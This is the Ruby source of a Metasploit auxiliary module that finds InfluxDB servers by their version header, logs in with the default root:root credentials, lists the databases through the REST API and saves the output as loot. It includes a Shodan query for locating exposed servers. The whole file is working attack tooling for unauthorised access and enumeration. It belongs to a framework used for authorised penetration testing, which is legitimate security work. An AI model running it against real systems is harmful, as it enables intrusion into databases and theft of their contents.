101 lines
3.2 KiB
Ruby
101 lines
3.2 KiB
Ruby
##
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# This module requires Metasploit: https://metasploit.com/download
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# Current source: https://github.com/rapid7/metasploit-framework
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##
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class MetasploitModule < Msf::Auxiliary
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include Msf::Exploit::Remote::HttpClient
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include Msf::Auxiliary::Report
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def initialize(info = {})
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super(update_info(info,
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'Name' => 'InfluxDB Enum Utility',
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'Description' => %q{
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This module enumerates databases on InfluxDB using the REST API using the
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default authentication of root:root.
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},
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'References' =>
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[
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['URL', 'https://docs.influxdata.com/influxdb/v2.1/'],
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['URL', 'https://www.shodan.io/search?query=X-Influxdb-Version']
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],
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'Author' =>
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[
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'Roberto Soares Espreto <robertoespreto[at]gmail.com>',
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'Nixawk'
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],
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'License' => MSF_LICENSE
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))
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register_options(
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[
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Opt::RPORT(8086),
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OptString.new('TARGETURI', [true, 'Path to list all the databases', '/']),
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OptString.new('USERNAME', [true, 'The username to login as', 'root']),
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OptString.new('PASSWORD', [true, 'The password to login with', 'root']),
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OptString.new('QUERY', [true, 'The influxdb query syntax', 'SHOW DATABASES'])
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])
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end
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def run
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begin
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# Check the target if is a influxdb server
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res = send_request_cgi(
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'uri' => normalize_uri(target_uri.path),
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'method' => 'GET'
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)
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return if res.nil?
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return if res.headers['X-Influxdb-Version'].nil?
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print_good("#{peer} - Influx Version: #{res.headers['X-Influxdb-Version']}")
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# Send http auth to the target
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# curl http://127.0.0.1:8086/query?q=SHOW+DATABASES
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# curl -X POST http://127.0.0.1:8086/query --data 'q=SHOW DATABASES'
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res = send_request_cgi(
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'uri' => normalize_uri(target_uri.path, '/query'),
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'method' => 'GET',
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'authorization' => basic_auth(datastore['USERNAME'], datastore['PASSWORD']),
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'vars_get' => {
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'q' => datastore['QUERY']
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}
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)
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return if res.nil?
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return if res.headers['X-Influxdb-Version'].nil?
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# Check http auth status
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case res.code
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when 401
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fail_with(Failure::NoAccess, "#{peer} - Failed to authenticate. Invalid username/password.")
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when 200
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begin
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jsonres = JSON.parse(res.body)
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return if jsonres.nil?
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return if jsonres['results'].nil?
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result = JSON.pretty_generate(jsonres)
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vprint_good("#{peer} - Influx DB Found:\n\n#{result}\n")
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path = store_loot(
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'influxdb.enum',
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'text/plain',
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rhost,
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result,
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'InfluxDB Enum'
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)
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print_good("File saved in: #{path}")
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rescue JSON::ParserError
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fail_with(Failure::Unknown, "#{peer} - Unexpected response, cannot parse JSON")
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end
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else
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fail_with(Failure::Unknown, "#{peer} - Unexpected response status #{res.code}")
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end
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rescue ::Rex::ConnectionError
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fail_with(Failure::Unreachable, "#{peer} - Failed to connect to the influx db server.")
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end
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end
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end
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